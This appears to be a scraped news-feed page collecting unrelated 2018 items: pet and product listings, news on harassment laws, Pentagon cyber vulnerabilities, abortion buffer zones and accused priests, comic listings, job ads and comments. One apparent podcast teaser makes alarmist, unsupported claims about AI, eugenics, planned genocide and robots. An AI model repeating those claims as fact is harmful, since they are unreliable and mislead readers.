          Robbie (PuppyFind) $1,400      Cache   Translate Page      
AMERICAN KENNEL CLUB RED Male. Comes with Full AMERICAN KENNEL CLUB certification documents. He is predominately red in his background. 10/8 Weight 4.11 pound. His Sire is nice grandson of Ch. Baliwick Billy The Kid. All shots and deworming up to date. Tail docked, dewclaws removed by veterinarian. Was ten weeks old on 9/23/18. Shipping with United Pet Safe program to most major airports in U.S. for additional $400. fee(includes Veterinarian Health Certificate & Travel Crate) PayPal also available. Call or text Pat at xxx-xxx-xxxx for additional information. NEXT TO LAST PHOTO (ON RIGHT) IS SCARLETT, ROBBIE'S MOM. LAST PHOTO (ON RIGHT) IS NORMAN, ROBBIE'S DAD.

          Amid #MeToo, New York Employers Face Strict New Sexual Harassment Laws      Cache   Translate Page      
It's been a year since the The New York Times ran an exposé alleging sexual harassment by Hollywood executive Harvey Weinstein. That led to an outpouring of allegations as others spoke out, leading to the downfall of many leaders and executives, including top news editors at NPR. The resulting #MeToo movement helped transform workplace culture and spurred both the state of New York and New York City to pass the country's most stringent workplace sexual harassment laws, the bulk of which take effect Tuesday. The city and state regulations are similar, requiring employers to conduct annual training aimed at preventing sexual harassment. They must also post their policies in highly visible places. Existing employees in New York state must undergo training by Oct. 9, 2019; all new employees must undergo training "as soon as possible," or, under the New York City law, within 90 days. Other states, including California , also mandate harassment training. But New York's laws differ in that
          Cyber Tests Showed 'Nearly All' New Pentagon Weapons Vulnerable To Attack, GAO Says      Cache   Translate Page      
Passwords that took seconds to guess, or were never changed from their factory settings. Cyber vulnerabilities that were known, but never fixed. Those are two common problems plaguing some of the Department of Defense's newest weapons systems, according to the Government Accountability Office. The flaws are highlighted in a new GAO report , which found the Pentagon is "just beginning to grapple" with the scale of vulnerabilities in its weapons systems. Drawing data from cybersecurity tests conducted on Department of Defense weapons systems from 2012 to 2017, the report says that by using "relatively simple tools and techniques, testers were able to take control of systems and largely operate undetected" because of basic security vulnerabilities. The GAO says the problems were widespread: "DOD testers routinely found mission critical cyber vulnerabilities in nearly all weapon systems that were under development." When weapons program officials were asked about the weaknesses, the GAO
          Maintenance Technician Class A      Cache   Translate Page      
FL-Hialeah, Maintenance Class A Technicians are required to perform all functions of plant maintenance. They are primarily responsible for the maintenance, troubleshooting and repair of mechanical, electrical, electronic, hydraulic and pneumatics for equipment used in the fabrication of doors and windows. The equipment entitles brands like Elumatecs, Emmegi's, Josephs profile machining centers, aluminum saws
          Update: Monosnap - screenshot editor (Graphics & Design)      Cache   Translate Page      

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          adidas SST Track jacket WMNS, multicolor      Cache   Translate Page      
DH3053SST TRACK JACKET A VIBRANT JACKET DESIGNED WITH THE FARM COMPANY. This season The FARM Company draws inspiration from the Brazilian fusion dance craze called passinho. Made of smooth, sporty tricot, this track jacket mixes and matches clashing cashew fruit and Monstera leaf prints. The FARM Company Graphics designed in collaboration with Brazilian trendsetters The FARM Company Unique print placement Graphic pattern is randomly placed so each piece is uniqueRegular fit is not tight and not loose, the perfect in-between fitRibbed baseball collarLong sleeves with ribbed cuffs100% recycled polyester tricot Front zip pockets; Full zip
          adidas Tee dress, multicolor      Cache   Translate Page      
DH3069TEE DRESS A VIBRANT DRESS DESIGNED WITH THE FARM COMPANY. This season The FARM Company draws inspiration from the Brazilian fusion dance craze called passinho. This t-shirt dress mixes and matches tropical prints of Monstera leaves, cashew fruit and pineapples. Made of soft recycled polyester, it shows off a big Trefoil logo across the back. The FARM Company Graphics designed in collaboration with Brazilian trendsetters The FARM Company Unique print placement Graphic pattern is randomly placed so each piece is uniqueRegular fit is not tight and not loose, the perfect in-between fitRibbed round neckShort sleeves100% recycled polyester single jersey Soft, drapey feel
          adidas Track Top jacket WMNS, black      Cache   Translate Page      
DH2729TRACK JACKET A TRACK JACKET MODERNISED FOR THE 21ST CENTURY. This track jacket redraws the lines of an adidas classic to create a fresh progressive look. With a cropped length, elongated arms and updated 3-Stripes, this doubleknit jacket moves into a fashion-forward space.Regular fit is not tight and not loose, the perfect in-between fitStand-up collarCropped lengthLong sleeves with ribbed cuffsMesh lining Shell: 57% polyester / 43% cotton doubleknit; Lining: 100% recycled polyester meshFull zip
          First automated malnutrition screen implemented for hospitalized children      Cache   Translate Page      
(Children's Hospital of Philadelphia) A team of clinicians, dietitians and researchers has created an innovative automated program to screen for malnutrition in hospitalized children, providing daily alerts to healthcare providers so they can quickly intervene with appropriate treatment. The malnutrition screen draws on existing patient data in electronic health records (EHR). (Source: EurekAlert! - Cancer)
          Australian pro-lifers argue abortion clinic buffer zones violate freedom of speech      Cache   Translate Page      

Canberra, Australia, Oct 9, 2018 / 04:01 pm (CNA/EWTN News).- Two pro-life activists are challenging Australian “buffer zone” laws in the country’s high court in Canberra. The laws in the states of Victoria and Tasmania bar any protests within 150 meters (nearly 500 feet) of a clinic or hospital that performs abortions.

The Victorian case was brought by Kathleen Clubb, a pro-life campaigner who was fined $5,000 in 2016 for “communicating about abortion” to a woman using an abortion clinic. The same year, Graham Preston was fined $3,000 for violating Tasmania’s similar buffer zone law.

A doctor was quoted in the Guardian as saying that she believed that protests outside abortion clinics left women intimidated and with “dangerous implications for their health.”

But the two plaintiffs are arguing that the laws violate their freedom of speech, since they prohibit political speech in a place where “communications on [abortion] are likely to occur and be most politically resonant.”

“The prohibition applies whether or not discomfort is caused, and irrespective of the political significance of the communication in the circumstances,” Clubb said as quoted by the Guardian. “The issue raised by this appeal is whether a prohibition of that kind is compatible with a constitution which protects a freedom of political communication. This court should answer that question no.”

A lawyer for the protestors argued Oct. 9 that because there are already laws in both states that protect against harassment and intimidation, the only further effect of the buffer zone laws is essentially to ban peaceful protest. He argued that Australia grants an implied freedom to political speech.

The governments of Victoria and Tasmania contend that the laws are designed to allow women to access legal medical services. The Australian Capital Territory, the Northern Territory, and New South Wales have similar buffer zone laws. A bill under consideration in the state of Queensland would create 150-meter buffer zones there as well.

Buffer zones are being debated elsewhere, including in the United Kingdom. British Home Secretary Sajid Javid rejected proposals for buffer zones around abortion clinics throughout England and Wales as disproportionate in a Sept. 13 decision, after finding that most abortion protests are peaceful and passive. Local jurisdictions in England and Wales are able to establish their own buffer zones.

Javid added that there were “relatively few” reports of “aggressive activities”, and noted that in 2017, only 36 of the 363 hospitals and clinics in England and Wales that offer abortions have experienced pro-life demonstrations near their facilities.

In the United States, three states have passed buffer zone laws: Colorado, Montana, and most recently Massachusetts in 2014.


          For transparency, San Bernardino diocese lists priests credibly accused of sex abuse      Cache   Translate Page      

San Bernardino, Calif., Oct 9, 2018 / 03:01 pm (CNA/EWTN News).- A list of 34 priests credibly accused of abuse in recent decades was released Monday by the Diocese of San Bernardino. The local bishop has apologized to victims and said the failure to protect children has led to “new awareness” about the “terrible scourge” of sex abuse.

“When we read this list we are pained to think of the many lives that were impacted by the sinful and unlawful acts of those priests who committed them,” Bishop Gerald Barnes of San Bernardino said. “Some will recognize names on this list, more will recognize the parish communities where they served. It makes this crisis more local to us, and may increase our feelings of sadness and outrage.”

He encouraged victims of sex abuse by a Church minister or those who know victims of such sex abuse to “please come forward and report it.” He offered his apologies and deepest regrets to the victims of those listed and to the Catholic faithful, “who have been scandalized by this shameful chapter in our Church’s history.”

“Apologies, at this point, can seem hollow and I regret that because I can imagine how painful this has been in the lives of many victims,” Bishop Barnes said. “Still, I do want to state my sincere apology.”

The list, released Oct. 8, draws from diocesan records and files documenting abuse reports made to diocesan personnel. The records include follow-up reports to priests and Diocesan Review Board discussions.

In the most recent cases, credibility of an accusation was determined by the Diocesan Review Board. In older cases, credibility was determined from facts reported by diocesan personnel at the time of the accusation, an admission from a priest, or from police or legal documents.

The diocese characterized the list as a “good faith effort” to “disclose the names of all priests with credible allegations.” Any additional credible allegations in the future will be added to the list. The latest allegation is from 2014, which was reported to child welfare authorities. Of those priests listed, 29 of the 34 names are “already in the public domain.”

John Andrews, communications director for the San Bernardino diocese, said those six not previously named had been reported to the police, but hadn’t been reported in the press nor were letters read to the faithful about these priests. He said the diocese had responded to the allegations responsibly.

Six of the priests on the list have been convicted in criminal court. All but one priest on the list have been dismissed from the clerical state, permanently banned from ministry in the diocese, or have died.

The whereabouts of the one priest who left the diocese in 1993, Paul Nguyen, are unknown. He had been incardinated in the Diocese of Oslo and served at St. Francis de Sales in Riverside from 1992-1993. The allegations against him were made known to the diocese in February 1993. He was also suspended and reported to the police.

Before 1978, the territory of the diocese was part of the Diocese of San Diego, which has released a similar list. Credibly accused priests who served in parishes of San Bernardino or Riverside counties from before that time are included on the San Bernardino diocese’s list.

There are presently about 1.6 million Catholics in the diocese out of a population of 4.9 million. About 1,900 priests have served in the diocese’s territory.

Andrews told CNA the list represents “a painful, tragic chapter in the history of the diocese.”

“We make no excuses for the actions of these men,” he said. “They are reprehensible actions and they are not consistent with what the Catholic faith is all about, about how we are to treat each other as human beings, especially as it relates to caring for children.”

He said the list’s release will create “raw, painful feelings,” especially for victims. “We stand ready to listen to them, to try to help them in their healing process with our action and our prayer.”

Bishop Barnes reflected on the effects of the sex abuse scandal.

“While we will always bear the mark of this scandal, our failure to protect children in earlier years has ultimately led us to a new awareness and an illumination of this terrible scourge on all of society,” he said, citing Christ's words in the Gospel of Luke: “there is nothing hidden that will not become visible, and nothing secret that will not be known and come to light.”

The bishop noted that since 2002 six priests have been credibly accused of sexual abuse of a minor. Of these, three were alleged to have committed an act of abuse since that year, while the other three alleged abuse incidents took place before 2002.

The bishop emphasized the diocese’s work since 2002, including its adoption of a “zero tolerance” policy for clergy with credible allegations of abuse and its close work with law enforcement in “all reports of abuse.”

Fingerprinting and extensive background checks are now mandatory for all clergy and lay employees of the diocese, and all diocesan ministers must take part in training to recognize and prevent the sexual abuse of children.

The diocese also established the Diocesan Office of Child and Youth Protection to ensure safe environment policies and pastoral code of conduct are followed.

The list’s release was prompted by the release of a Pennsylvania grand jury report covering a 70-year period across six dioceses in the state. The report alleged more than 300 priests had sexually abused over 1,000 children in that time frame.

Andrews said much of the abuse took place in the more distant past. He noted that only six credible cases had been reported in the last 16 years, compared to 28 cases in the previous 24 years. He said there has been more education about sex abuse and current diocesan response is “very solid.”

He said the diocese has adopted habits to encourage transparency and accountability, such as releasing the list of accused clergy.

“I think the Church is in a crisis that calls us to a greater level of openness, and we are hoping making the information public in this way will help the healing process for victims first and foremost and also for the Catholic faithful of our diocese as a whole,” he said.

“When we have an allegation that’s credible, we go to the parishes where that priest was, we announce that there is an allegation, and if anybody has been abused by this person, (ask them) to come forward,” he said.


          Reply To: WordPress.org un-reachable from AWS US-east-1      Cache   Translate Page      

Hmmm… it definitely sounds like a networking problem if you can’t ping. Since it fails in just your EC2 region, I think you should contact AWS tech support.


          New Laws on Drought, Forests, and Safe Drinking Water      Cache   Translate Page      
CaliforniaCapitol2The recent legislative session made progress on urban drought management, forest health, and safe drinking water.
           Comment on Fact Check: Will you pay more tax under a Labor Govt? by Tom R       Cache   Translate Page      
The hate these assholes contain is boundless <i>Gay students and teachers could be rejected by religious schools under changes to anti-discrimination laws being recommended by a federal review into religious freedom, according to a media report.</i> https://www.theguardian.com/world/2018/oct/10/gay-students-could-be-rejected-by-religious-schools-under-new-laws-report-claims We should be arguing if we should be blowing my hard earned on these incubators of hate, not if they can hurt people even more. https://twitter.com/tanya_plibersek/status/1049780385964380161
          Panel Saw operator - Reale Born Inc. - Mississauga, ON      Cache   Translate Page      
Milling/ lathe and other saws for Ferris materials such as cold cut machine. Our team strives for excellence and always pushes the envelope with production and... $15 - $25 an hour
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          THERE'S MORE THAN ARTIFICIAL INTELLIGENCE - PART 2      Cache   Translate Page      

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THERE'S MORE THAN ARTIFICIAL INTELLIGENCE - PART 2
GENETIC ALTERATION OR MODIFICATION
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AI NEWS TODAY

AI doesn't wait for tomorrow … it creates tomorrow. Tomorrow is here … today!”

Artificial Intelligence helps track down alien life.”

China uses facial recognition to fine jay-walkers … ban some from foreign travel taking passports.

REMEMBER … LISTEN TO THE PODCAST TO LEARN ALL THE INFORMATION.

Last session we discussed: When super humans become advanced—enhanced—to a stage where the ordinary normal human is no longer relevant other than for “slave” activities, then … genocide—mass destruction—of the normal humans will become efficient in terms of Global Governance.”

INTRO TO THIS SESSION (PART 2)
If you survived after Part 1, I have another challenge for you. Let's see if you're up to it. This session we will discuss “Genetic Alteration … or ... Modification.”

Have you ever wished (or even prayed) that one of your relatives would be nicer, or just different? Well, try to change their offspring. All you have to do is “modify” the cell structure in the embryo.

Eugenics is the science and practice of selective human breeding. This theory became popular in the early 20th Century, but is no longer outwardly taken seriously due to the horrific practices of “racial hygiene” experiments by the Nazis in Germany.

ANY PROGRESS SINCE THEN?

There is a NEW form of eugenics—not only being espoused but heavily financed in research—to create super-humans via genetic modification of human genes in eggs, sperm and early stage embryos.

>>> NO RESETTING <<<

Subsequent generations will inherit these modifications.
Hope the Designers dont screw up!
Does this mean the NEWER people are not ALL human?

WAIT: I will reveal something about that in another session!

This NEW form is known as genetic engineering. Genetic engineering is a biotechnological application where the DNA or genes of organisms are manipulated according to the requirement.

You probably are wondering right now: “Is this for real?”   LISTEN TO THE PODCAST.

Remember last session we talked about GRIN? In this session―Part 2―we will discuss NBIC. The acronym NBIC was introduced into public discourse via this report in 2014 for:

Nanotechnology;
Biotechnology;
Information Technology; and,
Cognitive Science as the most popular term for emerging and converging technologies.

Cognitive Science is the study of thought, learning, and mental organization, which draws on aspects of psychology, linguistics, philosophy, and computer modeling, with a focus on how nervous systems represent, process, and transform information.

>>> QUESTION FOR YOU <<<

How do YOU think this “Brain-Nerve” organic synergy will partner with
changing … or ... enhancing humans by modifying their reproductive cells?

ETHICAL AND MORAL QUESTIONS

Human enhancement, or “germ-line engineering,” involves making "improvements" in reproductive cells. These changes will be passed on to subsequent generations.

Will enhanced-humans automatically receive the “Mark of the Beast?”

Will they be part-humans? LISTEN TO THE PODCAST.

WHERE DOES THE ANTI-CHRIST (THE BEAST / FALSE MESSIAH) FIT IN?

Check this out: The Anti-Christ, the Beast of Revelation … the “false messiah” ... would love to use AI to … LISTEN TO THE PODCAST.

Hang on again! Next time we will spend more time on what YOU really want to see happen: Robots that will be smarter than YOU. How will you defend yourself? And, don't think about kissing good looking robots … because they may have have Virtual Memory … and deposit a mysterious substance into your body!!!
 

 
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          Powerball and Powerball Plus results for Tuesday, 9 October 2018      Cache   Translate Page      

Powerball and Powerball Plus draws for Tuesday, 9 October are here. More than R30 million up for grabs tonight.

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          For transparency, San Bernardino diocese lists priests credibly accused of sex abuse      Cache   Translate Page      

San Bernardino, Calif., Oct 9, 2018 / 03:01 pm (CNA/EWTN News).- A list of 34 priests credibly accused of abuse in recent decades was released Monday by the Diocese of San Bernardino. The local bishop has apologized to victims and said the failure to protect children has led to “new awareness” about the “terrible scourge” of sex abuse.

“When we read this list we are pained to think of the many lives that were impacted by the sinful and unlawful acts of those priests who committed them,” Bishop Gerald Barnes of San Bernardino said. “Some will recognize names on this list, more will recognize the parish communities where they served. It makes this crisis more local to us, and may increase our feelings of sadness and outrage.”

He encouraged victims of sex abuse by a Church minister or those who know victims of such sex abuse to “please come forward and report it.” He offered his apologies and deepest regrets to the victims of those listed and to the Catholic faithful, “who have been scandalized by this shameful chapter in our Church’s history.”

“Apologies, at this point, can seem hollow and I regret that because I can imagine how painful this has been in the lives of many victims,” Bishop Barnes said. “Still, I do want to state my sincere apology.”

The list, released Oct. 8, draws from diocesan records and files documenting abuse reports made to diocesan personnel. The records include follow-up reports to priests and Diocesan Review Board discussions.

In the most recent cases, credibility of an accusation was determined by the Diocesan Review Board. In older cases, credibility was determined from facts reported by diocesan personnel at the time of the accusation, an admission from a priest, or from police or legal documents.

The diocese characterized the list as a “good faith effort” to “disclose the names of all priests with credible allegations.” Any additional credible allegations in the future will be added to the list. The latest allegation is from 2014, which was reported to child welfare authorities. Of those priests listed, 29 of the 34 names are “already in the public domain.”

John Andrews, communications director for the San Bernardino diocese, said those six not previously named had been reported to the police, but hadn’t been reported in the press nor were letters read to the faithful about these priests. He said the diocese had responded to the allegations responsibly.

Six of the priests on the list have been convicted in criminal court. All but one priest on the list have been dismissed from the clerical state, permanently banned from ministry in the diocese, or have died.

The whereabouts of the one priest who left the diocese in 1993, Paul Nguyen, are unknown. He had been incardinated in the Diocese of Oslo and served at St. Francis de Sales in Riverside from 1992-1993. The allegations against him were made known to the diocese in February 1993. He was also suspended and reported to the police.

Before 1978, the territory of the diocese was part of the Diocese of San Diego, which has released a similar list. Credibly accused priests who served in parishes of San Bernardino or Riverside counties from before that time are included on the San Bernardino diocese’s list.

There are presently about 1.6 million Catholics in the diocese out of a population of 4.9 million. About 1,900 priests have served in the diocese’s territory.

Andrews told CNA the list represents “a painful, tragic chapter in the history of the diocese.”

“We make no excuses for the actions of these men,” he said. “They are reprehensible actions and they are not consistent with what the Catholic faith is all about, about how we are to treat each other as human beings, especially as it relates to caring for children.”

He said the list’s release will create “raw, painful feelings,” especially for victims. “We stand ready to listen to them, to try to help them in their healing process with our action and our prayer.”

Bishop Barnes reflected on the effects of the sex abuse scandal.

“While we will always bear the mark of this scandal, our failure to protect children in earlier years has ultimately led us to a new awareness and an illumination of this terrible scourge on all of society,” he said, citing Christ's words in the Gospel of Luke: “there is nothing hidden that will not become visible, and nothing secret that will not be known and come to light.”

The bishop noted that since 2002 six priests have been credibly accused of sexual abuse of a minor. Of these, three were alleged to have committed an act of abuse since that year, while the other three alleged abuse incidents took place before 2002.

The bishop emphasized the diocese’s work since 2002, including its adoption of a “zero tolerance” policy for clergy with credible allegations of abuse and its close work with law enforcement in “all reports of abuse.”

Fingerprinting and extensive background checks are now mandatory for all clergy and lay employees of the diocese, and all diocesan ministers must take part in training to recognize and prevent the sexual abuse of children.

The diocese also established the Diocesan Office of Child and Youth Protection to ensure safe environment policies and pastoral code of conduct are followed.

The list’s release was prompted by the release of a Pennsylvania grand jury report covering a 70-year period across six dioceses in the state. The report alleged more than 300 priests had sexually abused over 1,000 children in that time frame.

Andrews said much of the abuse took place in the more distant past. He noted that only six credible cases had been reported in the last 16 years, compared to 28 cases in the previous 24 years. He said there has been more education about sex abuse and current diocesan response is “very solid.”

He said the diocese has adopted habits to encourage transparency and accountability, such as releasing the list of accused clergy.

“I think the Church is in a crisis that calls us to a greater level of openness, and we are hoping making the information public in this way will help the healing process for victims first and foremost and also for the Catholic faithful of our diocese as a whole,” he said.

“When we have an allegation that’s credible, we go to the parishes where that priest was, we announce that there is an allegation, and if anybody has been abused by this person, (ask them) to come forward,” he said.


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Media Release -- Marvel Unlimited, Marvel’s digital comics subscription service, offers members unlimited access to over 20,000 issues of Marvel's classic and newer titles, delivered digitally through your desktop web browser and the Marvel Unlimited mobile app. With classic and newer issues added every week, here are some of the amazing Marvel titles coming to Marvel Unlimited this month:

Week of 10/1

AVENGERS #686

BEN REILLY: SCARLET SPIDER #16

BLACK PANTHER #171

CHAMPIONS #18

DAMNATION: JOHNNY BLAZE - GHOST RIDER #1
DAMNATION TIE-IN! Johnny Blaze takes the fight to a different devil than he usually faces — Mephisto! But Mephisto will show Johnny his own brand of suffering — and give Johnny PLENTY of reasons for vengeance.

DAREDEVIL #600

DESPICABLE DEADPOOL #297

INVINCIBLE IRON MAN #598

JESSICA JONES #18 SERIES COMPLETE!

LEGION #3

LOCKJAW #2

MOON GIRL AND DEVIL DINOSAUR #29

MOON KNIGHT #193

OLD MAN HAWKEYE #3

OLD MAN LOGAN #37

PETER PARKER: THE SPECTACULAR SPIDER-MAN #302

SPIDER-MAN/DEADPOOL #30

STAR WARS: DOCTOR APHRA #18

X-MEN: BLUE #24

Week of 10/8

ALL-NEW WOLVERINE #33

AMAZING SPIDER-MAN #798

ASTONISHING X-MEN #10

AVENGERS #687

AVENGERS: BACK TO BASICS #3

AVENGERS: SHARDS OF INFINITY #1
EARTH'S – AND THE MOON'S – MIGHTIEST HEROES!? A new threat has emerged: An evil organization calling itself LUNAR has been secretly building a powerful weapon on the surface of the Earth's moon. BLACK WIDOW infiltrates the group to uncover an even more startling revelation: Their weapon is powered by shards of the COSMIC CUBE! Legendary creators Ralph Macchio and Andrea Di Vito bring CAPTAIN AMERICA, BLACK PANTHER, THE FALCON and BLACK WIDOW together for a cosmic thrill ride you won't want to miss – and new villains you won't want to mess with!

BLACK BOLT #12 SERIES COMPLETE!

IRON FIST #79

MARVEL 2-IN-ONE #5

MARVEL'S ANT-MAN AND THE WASP PRELUDE #2 SERIES COMPLETE!

NEW MUTANTS: DEAD SOULS #2

RISE OF THE BLACK PANTHER #4

ROGUE & GAMBIT #4

RUNAWAYS #8

SPIDER-MAN #239

STAR WARS #46

THANOS: THE INFINITY SIBLINGS OGN
Jim Starlin and Alan Davis return in the first volume of a new trilogy! The Mad Titan has everything he ever wanted — but satisfaction is not in Thanos' vocabulary. When a temporal distortion on Titan draws his attention, he finds the purpose he's been searching for: saving himself! An old enemy lurks in the far future, and it will take the combined wits of Thanos, his brother Eros and time-travel master Kang the Conqueror to stop it — and save the Multiverse. But there are other players in this cosmic chess game — and Thanos may find himself outmatched! What lies ahead for the so-called Avatar of Death?

THE PUNISHER #223

VENOM #164

VENOMIZED #1

The story that began in VENOMVERSE reaches its epic conclusion with VENOMIZED! The POISONS, a species that hungers for super-powered symbiotes and their hosts, have picked their next target...THE MARVEL UNIVERSE ITSELF! Their first objective? Put every superhuman in a Klyntar symbiote – and CONSUME THEM! But with VENOM and the X-MEN still missing after the events of "Poison-X," the planet and its heroes are defenseless!

X-MEN: GOLD #25

Week of 10/15

AVENGERS #688

BEN REILLY: SCARLET SPIDER #17

CAPTAIN AMERICA #700

CHAMPIONS #19

DARTH VADER #14

DESPICABLE DEADPOOL #298

DOCTOR STRANGE #388

DOMINO #1
Impossible curves. Impossible shots. Impossible targets. Marvel's #1 soldier of fortune is back in an explosive new ongoing series! The product of a failed super-soldier program, Neena Thurman always made her own luck as the sharpshooting mercenary known as Domino… but what happens when her own powers betray her? The hunter becomes the hunted as every mercenary in the game smells blood in the water! Plus: A pair of beloved Marvel characters return!

EXILES #1
DON'T BLINK – THE EXILES ARE BACK! Fan-favorite X-Man Blink once joined a team destined to save not just the world, but the entire Multiverse. And now, her teleporting talents are needed once again! When a mysterious threat begins eating away at the fabric of the Multiverse, the Unseen – the man once known as Nick Fury who now can only observe Earth from a lofty post on the moon – must recruit a champion to save it. But she can't do it alone. Who will join Blink's new team – and can they ever go home again?

FALCON #7

OLD MAN LOGAN #38

SPIDER-MAN/DEADPOOL #31

STAR WARS: THRAWN #3

THANOS #18 SERIES COMPLETE!

THE UNBEATABLE SQUIRREL GIRL #31

VENOMIZED #2

X-MEN: BLUE #25

X-MEN: RED #3

Week of 10/22

AMAZING SPIDER-MAN #799

AMAZING SPIDER-MAN: RENEW YOUR VOWS #18

AVENGERS #689

AVENGERS: BACK TO BASICS #4

BLACK PANTHER #172 SERIES COMPLETE!

CABLE #156

DAREDEVIL #601

INCREDIBLE HULK #715

INFINITY COUNTDOWN #2

IRON FIST #80 SERIES COMPLETE!

MARVEL SUPER HERO ADVENTURES: SPIDER-MAN AND THE STOLEN VIBRANIUM #1
SPIDER-MAN SWINGS INTO WAKANDA IN AN ADVENTURE FOR ALL AGES! Wakanda?! You mean the home of the Black Panther, one of the world's fiercest warriors and a member of the Avengers? That's right! When Spider-Man's archenemy Doctor Octopus goes on the hunt for the incredible metal Vibranium, it'll take the combined might of not one, but TWO beloved heroes to take him down! Can Spider-Man and Black Panther work together to keep Vibranium out of Doc Ock's eight hands — or will the villain turn the tide?

MS. MARVEL #29

STAR WARS: POE DAMERON #26

TALES OF SUSPENSE #104 SERIES COMPLETE!

VENOMIZED #3

WEAPON H #2

WEAPON X #16

X-MEN: GOLD #26

Week of 10/29

ALL-NEW WOLVERINE #34

AVENGERS #690 NO SURRENDER ENDS HERE!

DARTH VADER #15

DESPICABLE DEADPOOL #299

DOCTOR STRANGE #389

DOCTOR STRANGE: DAMNATION #4 SERIES COMPLETE!

EXILES #2

HUNT FOR WOLVERINE #1
The RETURN OF WOLVERINE begins here, providing the first piece of a mystery that will leave no corner of the Marvel Universe untouched. Just as the X-Men have finally come to terms with Logan's death, they learn a terrible secret. Old wounds will be re-opened, truths questioned, and an epic quest begun. The earliest clues to the mystery of Wolverine's return are laid down here... who will solve it first?

INVINCIBLE IRON MAN #599

LEGION #4

LOCKJAW #3

MIGHTY THOR #706 SERIES COMPLETE!

MOON GIRL AND DEVIL DINOSAUR #30

MOON KNIGHT #194

OLD MAN HAWKEYE #4

PETER PARKER: THE SPECTACULAR SPIDER-MAN #303

SPIDER-GWEN #31

STAR WARS: DOCTOR APHRA #19

THANOS ANNUAL #1
Thanos is likely the most evil being in the universe…and if anyone would know, it's the all-new Cosmic Ghost Rider. Let the spirit of vengeance be your guide on a tour through the worst of the worst, as he reveals the most heinous deeds ever perpetrated by the Mad Titan…or by anyone else!

VENOM #165 SERIES COMPLETE!

VENOMIZED #4

X-MEN: BLUE #26

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          NJCOA’s 2018 Fall Tour Draws In Over 40 Members      Cache   Translate Page      
The New Jersey Campground Owners Association (NJCOA) saw more than 40 members attend its annual “Fall Tour” Oct. 2-4 in New Jersey’s Skylands Region. TripleBrook Campground in Blairstown, and Delaware River Family Campground in Columbia, both hosted portions of the event. NJCOA Executive Director Joann DelVescio told WOODALLSCM.com that attendees toured Camp Taylor Campground and visited […]
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HOUSTON (AP) - The U.S. Department of Homeland Security said Tuesday that it will waive environmental laws so it can build gates between sections of border...
          Land Agent - FORTIS BC - Kelowna, BC      Cache   Translate Page      
Knowledge of BC laws and regulations related to real estate. Knowledge of valuation techniques, particularly as they relate to real estate....
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          Baltimore Interim Police Commissioner Withdraws from Consideration      Cache   Translate Page      
Baltimore’s interim police commissioner, Gary Tuggle, said Tuesday that he has withdrawn from consideration for the permanent job.
          Lead Developer - Achiga Inc. - Toronto, ON      Cache   Translate Page      
You should be comfortable with front-end development, programming in PHP, data design, as well as working with AWS such as Lambda, API Gateway, IAM, and SQS....
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          Comment on Homeless woman found dead in downtown Berkeley tent on Thursday by counterthought      Cache   Translate Page      
A point of correction... the progressive have coined this notion that we have a right to live in Berkeley. No one has a given and unencumbered right to live in Berkeley or anywhere as a matter of fact. The constitution spells out many rights we enjoy as Americans... but the right to live in Berkeley is simply dogmatic rhetoric that sounds nice... but is far from the truth. I think you might be trying to state that we have the right to live in any town we desire. However you have to be honest and admit the city and the state have create an entire body of laws that severely limit how we live in our town. For example, I must follow property laws, and forbidden from staking out land that someone else is entitled to as the property owner. if i do, I am subject to arrest and fines. Moreover, There are anti camping laws on public and private land as well. Additionally, there are zoning requirements as well. Fees, and strict building code policies exist, established with strict ferocity to make sure i build a safe home that does not threaten my neighbors or myself. This is one reason why you don't see favelas with open sewers in this hills. so ... in essence, you are free to live in Berkeley as long as you do so in a legal manner. The homeless are here because of good weather and liberal tolerance. If you walk around in Boston... the same population as SF... you will actually see very little homelessness. The weather is a factor and the police enforcing the laws is another critical deterrence. The problem is the city has a 100% tolerant situation which does not enforce its own laws.
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Review and adhere to all city, county, state, and federal laws affecting store operations. $10.00-$10.50 per hour DOE.... $10.00 - $10.50 an hour
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          Client Service Associate - Sheridan, WY - Jackson Hewitt Tax Service - Sheridan, WY      Cache   Translate Page      
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Comply with local laws and procedures for the storage and disposal of trash,. Notify Supervisor of Buildings and Grounds) before leaving the building....
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Euroradio has met with Central Election Commission (CEC) chairperson Lidziya Yarmoshyna for a short interview about possible changes in Belarus' electoral laws.
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          Technology Director - Expedia - Bellevue, WA      Cache   Translate Page      
Elasticache (Redis), Docker, ECS, AWS Lambda, Amazon Elastic Map Reduce, AWS Data Pipeline, Dynamo DB, Mongo DB, Amazon SNS, Amazon S3, PMML, Openscoring,...
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          Releasing This Week 10/8/2018      Cache   Translate Page      
This is not a list of all books releasing this week, but rather a list of books
 releasing this week that I am excited about getting in my hands.

**All purchase links are provided as a courtesy to the blog followers.  I receive a small compensation for purchases made through these links.  These links may not lead to the best price and you can always shop around for a better one.**
Arthur is only in New York for the summer, but if Broadway has taught him anything, it’s that the universe can deliver a showstopping romance when you least expect it.

Ben thinks the universe needs to mind its business. If the universe had his back, he wouldn’t be on his way to the post office carrying a box of his ex-boyfriend’s things.

But when Arthur and Ben meet-cute at the post office, what exactly does the universe have in store for them?

Maybe nothing. After all, they get separated.

Maybe everything. After all, they get reunited.

But what if they can’t quite nail a first date . . . or a second first date . . . or a third?

What if Arthur tries too hard to make it work . . . and Ben doesn’t try hard enough?

What if life really isn’t like a Broadway play?

But what if it is?

From the New York Times bestselling author of Dear Martincomes this illuminating exploration of old friendships, new crushes, and the path to self-discovery.

Courtney "Coop" Cooper
Dumped. Again. And normally I wouldn't mind. But right now, my best friend and source of solace, Jupiter Sanchez, is ignoring me to text some girl.

Rae Evelyn Chin
I assumed "new girl" would be synonymous with "pariah," but Jupiter and Courtney make me feel like I'm right where I belong. I also want to kiss him. And her. Which is . . . perplexing.

Jupiter Charity-Sanchez
The only thing worse than losing the girl you love to a boy is losing her to your boy. That means losing him, too. I have to make a move. . . .

One story.
Three sides.
No easy answers.


New York Times best-selling author Cynthia Leitich Smith turns to realistic fiction with the thoughtful story of a Native teen navigating the complicated, confusing waters of high school — and first love.

